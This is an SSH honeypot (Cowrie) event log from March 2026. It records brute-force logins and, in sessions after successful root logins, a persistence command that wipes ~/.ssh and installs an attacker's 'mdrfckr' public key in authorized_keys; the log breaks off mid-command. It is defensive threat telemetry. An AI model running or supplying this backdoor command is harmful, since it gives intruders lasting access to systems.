{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:43.606552Z","src_ip":"165.154.22.233","session":"c32744193bd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:34:43.612025Z","src_ip":"165.154.22.233","session":"9e077b24a2ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":49642,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad23b2cc20d9","protocol":"ssh","message":"New connection: 195.178.110.218:49642 (159.203.135.109:22) [session: ad23b2cc20d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:35:35.615129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:35:35.619751Z","src_ip":"195.178.110.218","session":"ad23b2cc20d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:35:35.699857Z","src_ip":"195.178.110.218","session":"ad23b2cc20d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:35:35.939470Z","src_ip":"195.178.110.218","session":"ad23b2cc20d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:35:37.021504Z","src_ip":"195.178.110.218","session":"ad23b2cc20d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":59706,"dst_ip":"10.17.0.5","dst_port":22,"session":"61339818f68e","protocol":"ssh","message":"New connection: 2.57.122.210:59706 (10.17.0.5:22) [session: 61339818f68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:04.268827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:04.273337Z","src_ip":"2.57.122.210","session":"61339818f68e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:04.378757Z","src_ip":"2.57.122.210","session":"61339818f68e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:04.694915Z","src_ip":"2.57.122.210","session":"61339818f68e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:05.802579Z","src_ip":"2.57.122.210","session":"61339818f68e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.226.138.52","src_port":38222,"dst_ip":"159.203.135.109","dst_port":22,"session":"44b2d61dbd8f","protocol":"ssh","message":"New connection: 103.226.138.52:38222 (159.203.135.109:22) [session: 44b2d61dbd8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:49.138249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:49.142638Z","src_ip":"103.226.138.52","session":"44b2d61dbd8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:49.397537Z","src_ip":"103.226.138.52","session":"44b2d61dbd8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!@#Admin123","message":"login attempt [root/!@#Admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:50.449592Z","src_ip":"103.226.138.52","session":"44b2d61dbd8f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:50.993838Z","src_ip":"103.226.138.52","session":"44b2d61dbd8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:50.996797Z","src_ip":"103.226.138.52","session":"44b2d61dbd8f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:51.000129Z","src_ip":"103.226.138.52","session":"44b2d61dbd8f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:51.257885Z","src_ip":"103.226.138.52","session":"44b2d61dbd8f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:51.861663Z","src_ip":"103.226.138.52","session":"44b2d61dbd8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:51.864658Z","src_ip":"103.226.138.52","session":"44b2d61dbd8f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:52.123053Z","src_ip":"103.226.138.52","session":"44b2d61dbd8f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:52.125841Z","src_ip":"103.226.138.52","session":"44b2d61dbd8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.226.138.52","src_port":38236,"dst_ip":"159.203.135.109","dst_port":22,"session":"feb2137fe6e0","protocol":"ssh","message":"New connection: 103.226.138.52:38236 (159.203.135.109:22) [session: feb2137fe6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:52.366167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:52.370107Z","src_ip":"103.226.138.52","session":"feb2137fe6e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:52.617757Z","src_ip":"103.226.138.52","session":"feb2137fe6e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:53.643697Z","src_ip":"103.226.138.52","session":"feb2137fe6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:54.894647Z","src_ip":"103.226.138.52","session":"feb2137fe6e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.226.138.52","src_port":57112,"dst_ip":"159.203.135.109","dst_port":22,"session":"9732d5ef59cc","protocol":"ssh","message":"New connection: 103.226.138.52:57112 (159.203.135.109:22) [session: 9732d5ef59cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:55.150916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:55.157340Z","src_ip":"103.226.138.52","session":"9732d5ef59cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:55.411759Z","src_ip":"103.226.138.52","session":"9732d5ef59cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:56.464922Z","src_ip":"103.226.138.52","session":"9732d5ef59cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:56.724432Z","src_ip":"103.226.138.52","session":"44b2d61dbd8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:36:56.728944Z","src_ip":"103.226.138.52","session":"9732d5ef59cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.179.119.204","src_port":41608,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c7c8c0611bd","protocol":"ssh","message":"New connection: 121.179.119.204:41608 (10.17.0.5:22) [session: 4c7c8c0611bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:12.264896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:12.269122Z","src_ip":"121.179.119.204","session":"4c7c8c0611bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:12.465419Z","src_ip":"121.179.119.204","session":"4c7c8c0611bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"taotao520","message":"login attempt [root/taotao520] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:13.283387Z","src_ip":"121.179.119.204","session":"4c7c8c0611bd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:13.713601Z","src_ip":"121.179.119.204","session":"4c7c8c0611bd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:13.717068Z","src_ip":"121.179.119.204","session":"4c7c8c0611bd","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:13.720746Z","src_ip":"121.179.119.204","session":"4c7c8c0611bd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:13.920283Z","src_ip":"121.179.119.204","session":"4c7c8c0611bd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:38:14.347453Z","src_ip":"121.179.119.204","session":"4c7c8c0611bd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 